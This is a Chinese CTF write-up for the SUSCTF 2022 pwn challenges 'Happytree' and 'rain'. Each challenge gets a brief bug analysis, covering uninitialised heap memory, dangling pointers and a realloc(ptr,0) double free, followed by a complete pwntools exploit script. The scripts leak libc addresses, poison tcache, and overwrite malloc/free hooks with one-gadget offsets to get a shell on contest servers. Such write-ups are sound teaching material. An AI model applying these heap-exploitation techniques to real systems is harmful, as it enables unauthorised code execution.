711 字
4 分钟
阅读量 --
Hits
SUSCTF pwn wp

Happytree#

题目附件#

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/happytree.zip

分析#

漏洞点在 C++ 的 new 和 delete 不对堆空间进行初始化,并且 delete 逻辑中存在指针未清零的情况,而且存在有符号整数和无符号整数混淆,构造 payload 泄露 main_arena 和堆地址后,利用 libc-2.27 构造 tcache 的 doublefree,最后 new 出__malloc_hook 地址,写入 ogg 获得 shell

exp#

from pwn import *
import ctypes
import time
# io = process(['./ld-2.27.so','./happytree'], env={'LD_PRELOAD': './libc.so.6'})
io = remote('124.71.147.225', 9999)
elf = ELF('./happytree')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
idx = []
def add(data,content):
global root
io.sendlineafter('cmd> ','1')
io.sendlineafter("data: ",str(data))
io.sendlineafter("content: ",content)
idx.append(data)
def add1(data,content):
io.sendlineafter('cmd> ','1')
io.sendlineafter("data: ",str(data))
io.sendafter("content: ",content)
idx.append(data)
def add2(data,content):
io.sendlineafter('cmd> ','1')
io.sendafter("data: ",str(data))
def free(data):
io.sendlineafter('cmd> ','2')
io.sendlineafter("data: ",str(data))
if data in idx:
del idx[idx.index(data)]
def show(data):
io.sendlineafter('cmd> ','3')
io.sendlineafter("data: ",str(data))
read_got = elf.got['read']
read_plt = elf.plt['read']
def to_size(size):
return (ctypes.c_int(0xffffff00 | size)).value
def inv(x):
return ctypes.c_int(x).value
# add(0x80 | 0x200, 'aaaa')
# add(0x80 | 0x100, 'aaaa')
# add(0x80 | 0x300, 'aaaa')
# free(0x80 | 0x200)
# for i in range(8):
add(inv(0x80 | (0xfff00000)), 'aaaa')
add(0x80 | (1*0x100), 'aaaa')
add(0x80 | (2*0x100), 'aaaa')
add(0x80 | (3*0x100), 'aaaa')
add(0x80 | (4*0x100), 'aaaa')
add(0x80 | (5*0x100), 'aaaa')
add(0x80 | (6*0x100), 'aaaa')
add(0x80 | (7*0x100), 'aaaa')
add(0x80 | (8*0x100), 'aaaa')
# add(0x80 | (9*0x100), 'aaaa')
# add(0x80 | (10*0x100), 'aaaa')
add(inv(0x80 | (0xff000000)), 'aaaa')
# free(0x80 | (10*0x100))
# free(0x80 | (8*0x100))
free(0x80 | (8*0x100))
free(0x80 | (7*0x100))
free(0x80 | (6*0x100))
free(0x80 | (5*0x100))
free(0x80 | (4*0x100))
free(0x80 | (3*0x100))
free(0x80 | (2*0x100))
free(0x80 | (1*0x100))
add(inv(0x80 | 0xffff0100), 'aaaa')
add(inv(0x80 | 0xffff0200), 'aaaa')
add(inv(0x80 | 0xffff0300), 'aaaa')
add(inv(0x80 | 0xffff0400), 'aaaa')
add(inv(0x80 | 0xffff0500), 'aaaa')
add(inv(0x80 | 0xffff0600), 'aaaa')
add(inv(0x80 | 0xffff0700), 'aaaa')
# show(0x80 | 0x700)
# gdb.attach(io)
add1(inv(0x80 | 0xffff0800), 'a'*8)
show(inv(0x80 | 0xffff0800))
io.recvuntil('content: aaaaaaaa')
inp = io.recvuntil('\x7f').ljust(8, '\x00')
inp = u64(inp)
log.info(hex(inp))
main_arena = inp - 96
log.info(hex(main_arena))
libc_base = main_arena - 0x00003EBC40
log.info(hex(libc_base))
free(inv(0x80 | 0xffff0700))
free(inv(0x80 | 0xffff0800))
add(0x20 | 0x100, 'a'*23)
show(0x20 | 0x100)
io.recvuntil('\n')
hp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
hp = u64(hp)
log.info(hex(hp))
free(0x20 | 0x100)
add(inv(0x80 | 0xf0000000), 'aaaa')
add(inv(0x80 | 0xffff0700), 'aaaa')
free(inv(0x80 | 0xf0000000))
free(0)
ogg = [0x4f365,0x4f3c2,0x10a45c]
malloc_hook = libc_base + libc.sym['__malloc_hook']
p = p64(malloc_hook)
add1(0x80 | ((hp - (hp & 0xff)) & 0xffffffff), p)
print hex(0x80 | ((hp - (hp & 0xff)) & 0xffffffff))
time.sleep(4)
add1(0x80 | 0x100, 'aaaa')
p = p64(ogg[2] + libc_base)
add1(0x80 | 0x5000, p)
# gdb.attach(io)
add2(0x80 | 0x6000, p)
# free(inv(0x80 | 0xffff0400))
# print idx
# add(to_size(0x80 | 0x100))
io.interactive()
# print hex(to_size(10))

rain#

题目附件#

https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/rain.zip

分析#

当 realloc (ptr, 0) 时,函数返回 null,v7==0 过不了 if 判断,故不会将指针清零,可以构造 doublefree,利用 doublefree 和 printf% s 泄露在 bss 段上的_IO_2_1_stdout_地址,即可知道 libc 基址,最后向__free_hook 写入 ogg 即可 getshell

image-20220301155642358

exp#

from pwn import *
context.log_level='DEBUG'
# io = process(['./ld-2.27.so','./rain'], env={'LD_PRELOAD': './libc.so.6', "TERM":"xterm"})
io = remote('124.71.185.75',9999)
e = ELF('./rain')
libc = ELF('./libc.so.6')
def frame(sh, sw, font, color, rainfall, table1):
p = p32(sh)
p += p32(sw)
p += p8(font)
p += p8(color)
p += p32(rainfall)
p += p32(0xdeadbeaf)
p += table1
return p
def config(fra):
io.sendlineafter('ch> ', '1')
io.sendafter('FRAME> ', fra)
def show():
io.sendlineafter('ch> ', '2')
def rain():
context.log_level='INFO'
io.sendlineafter('ch> ', '3')
io.recvuntil('\n')
context.log_level='debug'
p = frame(0x30,0x30,3,4,1,'a'*0x20)
config(p)
p = frame(0x30,0x30,3,4,1,'')
config(p)
p = frame(0x30,0x30,3,4,1,'')
config(p)
malloc_got = e.got['malloc']
log.info(hex(malloc_got))
p1 = p64(0x00000603000)
p1 += 'a'*(0x20 - len(p1))
p = frame(0x30,0x30,3,4,1, p1)
config(p)
rain()
# show()
p = frame(0x30,0x30,3,4,1, 'a'*0x20)
config(p)
show()
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
inp = io.recvuntil('\n', drop=True).ljust(8, '\x00')
inp = u64(inp)
log.info("_IO_2_1_stdout_:"+hex(inp))
libc_base = inp - libc.sym['_IO_2_1_stdout_']
log.info("libc_base:"+hex(libc_base))
ogg = [0x4f365,0x4f3c2,0x10a45c]
malloc_hook = libc_base + libc.sym['__free_hook']
log.info("malloc_hook:"+hex(malloc_hook))
rain()
p = frame(0x40,0x40,3,4,1,'a'*0x70)
config(p)
p = frame(0x40,0x40,3,4,1,'')
config(p)
p = frame(0x40,0x40,3,4,1,'')
config(p)
p1 = p64(malloc_hook)
p1 += 'a'*(0x70 - len(p1))
p = frame(0x30,0x30,3,4,1, p1)
config(p)
rain()
p = frame(0x30,0x30,3,4,1, 'a'*0x70)
config(p)
rain()
log.info("ogg:"+hex(ogg[0]+libc_base))
p1 = p64(ogg[1]+libc_base) * (0x70 // 8)
p = frame(0x1,0x1,3,4,1, p1)
# gdb.attach(io)
config(p)
p = frame(0x1,0x1,3,4,1,'')
config(p)
# gdb.attach(io)
io.interactive()
SUSCTF pwn wp
https://blog.csome.cc/p/SUSCTF-wp/
作者
Csome
发布于
2022-03-01
许可协议
CC BY-SA 3.0